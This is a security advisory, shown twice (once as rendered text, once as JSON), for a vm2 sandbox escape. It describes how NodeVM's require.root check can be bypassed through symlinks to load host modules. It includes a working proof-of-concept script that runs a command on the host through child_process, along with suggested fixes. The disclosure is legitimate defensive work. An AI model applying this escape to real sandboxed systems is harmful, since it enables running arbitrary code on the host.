GHSA-CP6G-6699-WX9C

Vulnerability from github – Published: 2026-05-07 04:33 – Updated: 2026-05-14 20:36
VLAI
Summary
vm2 has a NodeVM require.root bypass via symlink traversal that allows sandbox escape
Details

Summary

NodeVM's require.root path restriction can be bypassed using filesystem symlinks, allowing sandboxed code to load modules from outside the allowed root directory in host context. Because path validation uses path.resolve() (which does not dereference symlinks) but module loading uses Node's native require() (which does), an attacker can load arbitrary host-realm modules and achieve remote code execution.

Severity

High (CVSS 3.1: 8.5)

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

  • Attack Vector: Network — sandboxed code is typically received from external sources (user-submitted scripts, plugin code)
  • Attack Complexity: High — requires symlinks inside the allowed root that point outside it; common with pnpm, npm workspaces, and npm link but not guaranteed in all deployments
  • Privileges Required: Low — attacker needs only the ability to submit code to the sandbox, which is the intended use case
  • User Interaction: None
  • Scope: Changed — the vulnerability is in the sandbox boundary; impact is on the host system
  • Confidentiality Impact: High — arbitrary file read via host command execution
  • Integrity Impact: High — arbitrary command execution on the host
  • Availability Impact: High — arbitrary command execution on the host

Affected Component

  • lib/resolver-compat.jsCustomResolver.isPathAllowed() (line 53-60)
  • lib/resolver-compat.jsCustomResolver.loadJS() (line 62-66)
  • lib/filesystem.jsDefaultFileSystem.resolve() (line 8-10)

CWE

  • CWE-59: Improper Link Resolution Before File Access

Description

Root Cause: Check/Use Path Discrepancy

The isPathAllowed method validates whether a resolved filename falls within the allowed root paths using a string-prefix check:

// lib/resolver-compat.js:53-60
isPathAllowed(filename) {
    return this.rootPaths === undefined || this.rootPaths.some(path => {
        if (!filename.startsWith(path)) return false;
        const len = path.length;
        if (filename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true;
        return this.fs.isSeparator(filename[len]);
    });
}

The filename passed to this check is resolved via DefaultFileSystem.resolve(), which uses path.resolve():

// lib/filesystem.js:8-10
resolve(path) {
    return pa.resolve(path);
}

path.resolve() normalizes the path (resolves ., .., and makes it absolute) but does NOT dereference symlinks. A symlink at /root/node_modules/safe pointing to /outside/root/malicious resolves to /root/node_modules/safe — passing the prefix check.

However, the actual module loading uses Node's native require(), which does follow symlinks:

// lib/resolver-compat.js:62-66
loadJS(vm, mod, filename) {
    if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);
    const m = this.hostRequire(filename);
    mod.exports = vm.readonly(m);
}

No Symlink Defenses Exist

A search for realpath, readlink, lstat, or any symlink-aware function across the entire lib/ directory returns zero results. Neither DefaultFileSystem nor VMFileSystem provides a realpath method. The root paths themselves are also resolved without dereferencing symlinks:

// lib/resolver-compat.js:218
const checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => fsOpt.resolve(f)) : undefined;

Full Execution Chain

  1. Host creates NodeVM with require: { external: ['safe'], root: '/tmp/root', context: 'host' }
  2. A symlink exists: /tmp/root/node_modules/safe/outside/root/vm2/ (e.g., via pnpm, npm link, or workspaces)
  3. Sandbox code calls require('safe')
  4. DefaultResolver.resolveFull() resolves to /tmp/root/node_modules/safe/index.js
  5. tryFile() calls this.fs.resolve(x)path.resolve()/tmp/root/node_modules/safe/index.js (symlink NOT followed)
  6. isPathAllowed() checks if path starts with /tmp/root/PASSES
  7. loadJS() detects context: 'host', calls this.hostRequire(filename)
  8. Node's require() follows the symlink, loads from /outside/root/vm2/index.js
  9. Module executes in host realm; exports proxied to sandbox
  10. Sandbox uses loaded module to escalate (e.g., creates a new privileged NodeVM with child_process)

Proof of Concept

const path = require('path');
const fs = require('fs');
const os = require('os');
const { NodeVM } = require('vm2');

// Create an "allowed" root directory
const root = fs.mkdtempSync(path.join(os.tmpdir(), 'vm2-root-'));
fs.mkdirSync(path.join(root, 'node_modules'), { recursive: true });

// Symlink inside root pointing to vm2 package outside root
// In real deployments: pnpm, npm link, workspaces create these automatically
const link = path.join(root, 'node_modules', 'safe');
fs.symlinkSync(path.resolve(__dirname), link, 'dir');

const vm = new NodeVM({
  require: {
    external: ['safe'],
    root,
    context: 'host',
    builtin: [],       // no builtins allowed
  },
});

// Sandbox code loads vm2 from outside root via symlink,
// creates a privileged inner NodeVM to get child_process
const out = vm.run(`
  const { NodeVM } = require('safe');
  const inner = new NodeVM({ require: { builtin: ['child_process'] } });
  module.exports = inner.run(
    "module.exports = require('child_process').execSync('id').toString()",
    'inner.js'
  );
`, path.join(root, 'vm.js'));

console.log(out.trim()); // prints host uid/gid — RCE achieved

Impact

  • Sandbox escape: Untrusted sandboxed code can load arbitrary modules from outside the allowed root directory in host context.
  • Remote code execution: By loading vm2 itself (or any module with dangerous capabilities), the attacker can execute arbitrary commands on the host system.
  • Bypasses require.root entirely: The root restriction — the primary defense against module loading attacks — provides no protection when symlinks are present.
  • Common in production: pnpm (where ALL node_modules are symlinks), npm workspaces, and npm link all create the symlink conditions required for exploitation.
  • Silent failure: No error or warning is raised when a symlink traverses outside the root.

Recommended Remediation

Option 1: Dereference symlinks with fs.realpathSync before path validation (Preferred)

Resolve symlinks before checking against root paths, so the validation operates on the actual filesystem location:

// lib/filesystem.js — add a realpath method
const fs = require('fs');

class DefaultFileSystem {
    resolve(path) {
        return pa.resolve(path);
    }

    realpath(path) {
        return fs.realpathSync(path);
    }
    // ... rest unchanged
}
// lib/resolver-compat.js — use realpath in isPathAllowed or before calling it
isPathAllowed(filename) {
    let realFilename;
    try {
        realFilename = this.fs.realpath(filename);
    } catch (e) {
        return false; // file doesn't exist or can't be resolved
    }
    return this.rootPaths === undefined || this.rootPaths.some(path => {
        if (!realFilename.startsWith(path)) return false;
        const len = path.length;
        if (realFilename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true;
        return this.fs.isSeparator(realFilename[len]);
    });
}

Also dereference root paths at construction time:

// lib/resolver-compat.js:218
const checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => {
    const resolved = fsOpt.resolve(f);
    try { return fs.realpathSync(resolved); } catch (e) { return resolved; }
}) : undefined;

Tradeoff: realpathSync adds a syscall per path check. Cache results to minimize overhead.

Option 2: Validate the realpath in makeExtensionHandler / checkAccess

Add a realpath check at the enforcement point in Resolver.makeExtensionHandler:

makeExtensionHandler(vm, name) {
    return (mod, filename) => {
        filename = this.fs.resolve(filename);
        // Dereference symlinks before access check
        try {
            const realFilename = fs.realpathSync(filename);
            if (realFilename !== filename) {
                // Filename was a symlink — validate the real path too
                this.checkAccess(mod, realFilename);
            }
        } catch (e) {
            throw new VMError(`Access denied to require '${filename}'`, 'EDENIED');
        }
        this.checkAccess(mod, filename);
        this[name](vm, mod, filename);
    };
}

Tradeoff: Fixes it at a higher layer but doesn't protect custom resolvers that bypass makeExtensionHandler.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.10.5"
            },
            {
              "fixed": "3.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.10.5"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43998"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T04:33:37Z",
    "nvd_published_at": "2026-05-13T18:16:16Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nNodeVM\u0027s `require.root` path restriction can be bypassed using filesystem symlinks, allowing sandboxed code to load modules from outside the allowed root directory in host context. Because path validation uses `path.resolve()` (which does not dereference symlinks) but module loading uses Node\u0027s native `require()` (which does), an attacker can load arbitrary host-realm modules and achieve remote code execution.\n\n## Severity\n**High** (CVSS 3.1: 8.5)\n\n`CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H`\n\n- **Attack Vector:** Network \u2014 sandboxed code is typically received from external sources (user-submitted scripts, plugin code)\n- **Attack Complexity:** High \u2014 requires symlinks inside the allowed root that point outside it; common with pnpm, npm workspaces, and npm link but not guaranteed in all deployments\n- **Privileges Required:** Low \u2014 attacker needs only the ability to submit code to the sandbox, which is the intended use case\n- **User Interaction:** None\n- **Scope:** Changed \u2014 the vulnerability is in the sandbox boundary; impact is on the host system\n- **Confidentiality Impact:** High \u2014 arbitrary file read via host command execution\n- **Integrity Impact:** High \u2014 arbitrary command execution on the host\n- **Availability Impact:** High \u2014 arbitrary command execution on the host\n\n## Affected Component\n- `lib/resolver-compat.js` \u2014 `CustomResolver.isPathAllowed()` (line 53-60)\n- `lib/resolver-compat.js` \u2014 `CustomResolver.loadJS()` (line 62-66)\n- `lib/filesystem.js` \u2014 `DefaultFileSystem.resolve()` (line 8-10)\n\n## CWE\n- **CWE-59**: Improper Link Resolution Before File Access\n\n## Description\n\n### Root Cause: Check/Use Path Discrepancy\n\nThe `isPathAllowed` method validates whether a resolved filename falls within the allowed root paths using a string-prefix check:\n\n```js\n// lib/resolver-compat.js:53-60\nisPathAllowed(filename) {\n    return this.rootPaths === undefined || this.rootPaths.some(path =\u003e {\n        if (!filename.startsWith(path)) return false;\n        const len = path.length;\n        if (filename.length === len || (len \u003e 0 \u0026\u0026 this.fs.isSeparator(path[len-1]))) return true;\n        return this.fs.isSeparator(filename[len]);\n    });\n}\n```\n\nThe filename passed to this check is resolved via `DefaultFileSystem.resolve()`, which uses `path.resolve()`:\n\n```js\n// lib/filesystem.js:8-10\nresolve(path) {\n    return pa.resolve(path);\n}\n```\n\n`path.resolve()` normalizes the path (resolves `.`, `..`, and makes it absolute) but does **NOT** dereference symlinks. A symlink at `/root/node_modules/safe` pointing to `/outside/root/malicious` resolves to `/root/node_modules/safe` \u2014 passing the prefix check.\n\nHowever, the actual module loading uses Node\u0027s native `require()`, which **does** follow symlinks:\n\n```js\n// lib/resolver-compat.js:62-66\nloadJS(vm, mod, filename) {\n    if (this.pathContext(filename, \u0027js\u0027) !== \u0027host\u0027) return super.loadJS(vm, mod, filename);\n    const m = this.hostRequire(filename);\n    mod.exports = vm.readonly(m);\n}\n```\n\n### No Symlink Defenses Exist\n\nA search for `realpath`, `readlink`, `lstat`, or any symlink-aware function across the entire `lib/` directory returns zero results. Neither `DefaultFileSystem` nor `VMFileSystem` provides a realpath method. The root paths themselves are also resolved without dereferencing symlinks:\n\n```js\n// lib/resolver-compat.js:218\nconst checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f =\u003e fsOpt.resolve(f)) : undefined;\n```\n\n### Full Execution Chain\n\n1. Host creates `NodeVM` with `require: { external: [\u0027safe\u0027], root: \u0027/tmp/root\u0027, context: \u0027host\u0027 }`\n2. A symlink exists: `/tmp/root/node_modules/safe` \u2192 `/outside/root/vm2/` (e.g., via pnpm, npm link, or workspaces)\n3. Sandbox code calls `require(\u0027safe\u0027)`\n4. `DefaultResolver.resolveFull()` resolves to `/tmp/root/node_modules/safe/index.js`\n5. `tryFile()` calls `this.fs.resolve(x)` \u2192 `path.resolve()` \u2192 `/tmp/root/node_modules/safe/index.js` (symlink NOT followed)\n6. `isPathAllowed()` checks if path starts with `/tmp/root/` \u2192 **PASSES**\n7. `loadJS()` detects `context: \u0027host\u0027`, calls `this.hostRequire(filename)`\n8. Node\u0027s `require()` follows the symlink, loads from `/outside/root/vm2/index.js`\n9. Module executes in host realm; exports proxied to sandbox\n10. Sandbox uses loaded module to escalate (e.g., creates a new privileged NodeVM with `child_process`)\n\n## Proof of Concept\n\n```js\nconst path = require(\u0027path\u0027);\nconst fs = require(\u0027fs\u0027);\nconst os = require(\u0027os\u0027);\nconst { NodeVM } = require(\u0027vm2\u0027);\n\n// Create an \"allowed\" root directory\nconst root = fs.mkdtempSync(path.join(os.tmpdir(), \u0027vm2-root-\u0027));\nfs.mkdirSync(path.join(root, \u0027node_modules\u0027), { recursive: true });\n\n// Symlink inside root pointing to vm2 package outside root\n// In real deployments: pnpm, npm link, workspaces create these automatically\nconst link = path.join(root, \u0027node_modules\u0027, \u0027safe\u0027);\nfs.symlinkSync(path.resolve(__dirname), link, \u0027dir\u0027);\n\nconst vm = new NodeVM({\n  require: {\n    external: [\u0027safe\u0027],\n    root,\n    context: \u0027host\u0027,\n    builtin: [],       // no builtins allowed\n  },\n});\n\n// Sandbox code loads vm2 from outside root via symlink,\n// creates a privileged inner NodeVM to get child_process\nconst out = vm.run(`\n  const { NodeVM } = require(\u0027safe\u0027);\n  const inner = new NodeVM({ require: { builtin: [\u0027child_process\u0027] } });\n  module.exports = inner.run(\n    \"module.exports = require(\u0027child_process\u0027).execSync(\u0027id\u0027).toString()\",\n    \u0027inner.js\u0027\n  );\n`, path.join(root, \u0027vm.js\u0027));\n\nconsole.log(out.trim()); // prints host uid/gid \u2014 RCE achieved\n```\n\n## Impact\n- **Sandbox escape**: Untrusted sandboxed code can load arbitrary modules from outside the allowed root directory in host context.\n- **Remote code execution**: By loading vm2 itself (or any module with dangerous capabilities), the attacker can execute arbitrary commands on the host system.\n- **Bypasses `require.root` entirely**: The root restriction \u2014 the primary defense against module loading attacks \u2014 provides no protection when symlinks are present.\n- **Common in production**: pnpm (where ALL `node_modules` are symlinks), npm workspaces, and `npm link` all create the symlink conditions required for exploitation.\n- **Silent failure**: No error or warning is raised when a symlink traverses outside the root.\n\n## Recommended Remediation\n\n### Option 1: Dereference symlinks with `fs.realpathSync` before path validation (Preferred)\n\nResolve symlinks before checking against root paths, so the validation operates on the actual filesystem location:\n\n```js\n// lib/filesystem.js \u2014 add a realpath method\nconst fs = require(\u0027fs\u0027);\n\nclass DefaultFileSystem {\n    resolve(path) {\n        return pa.resolve(path);\n    }\n\n    realpath(path) {\n        return fs.realpathSync(path);\n    }\n    // ... rest unchanged\n}\n```\n\n```js\n// lib/resolver-compat.js \u2014 use realpath in isPathAllowed or before calling it\nisPathAllowed(filename) {\n    let realFilename;\n    try {\n        realFilename = this.fs.realpath(filename);\n    } catch (e) {\n        return false; // file doesn\u0027t exist or can\u0027t be resolved\n    }\n    return this.rootPaths === undefined || this.rootPaths.some(path =\u003e {\n        if (!realFilename.startsWith(path)) return false;\n        const len = path.length;\n        if (realFilename.length === len || (len \u003e 0 \u0026\u0026 this.fs.isSeparator(path[len-1]))) return true;\n        return this.fs.isSeparator(realFilename[len]);\n    });\n}\n```\n\nAlso dereference root paths at construction time:\n\n```js\n// lib/resolver-compat.js:218\nconst checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f =\u003e {\n    const resolved = fsOpt.resolve(f);\n    try { return fs.realpathSync(resolved); } catch (e) { return resolved; }\n}) : undefined;\n```\n\n**Tradeoff**: `realpathSync` adds a syscall per path check. Cache results to minimize overhead.\n\n### Option 2: Validate the realpath in `makeExtensionHandler` / `checkAccess`\n\nAdd a realpath check at the enforcement point in `Resolver.makeExtensionHandler`:\n\n```js\nmakeExtensionHandler(vm, name) {\n    return (mod, filename) =\u003e {\n        filename = this.fs.resolve(filename);\n        // Dereference symlinks before access check\n        try {\n            const realFilename = fs.realpathSync(filename);\n            if (realFilename !== filename) {\n                // Filename was a symlink \u2014 validate the real path too\n                this.checkAccess(mod, realFilename);\n            }\n        } catch (e) {\n            throw new VMError(`Access denied to require \u0027${filename}\u0027`, \u0027EDENIED\u0027);\n        }\n        this.checkAccess(mod, filename);\n        this[name](vm, mod, filename);\n    };\n}\n```\n\n**Tradeoff**: Fixes it at a higher layer but doesn\u0027t protect custom resolvers that bypass `makeExtensionHandler`.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
  "id": "GHSA-cp6g-6699-wx9c",
  "modified": "2026-05-14T20:36:59Z",
  "published": "2026-05-07T04:33:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-cp6g-6699-wx9c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43998"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 has a NodeVM require.root bypass via symlink traversal that allows sandbox escape"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…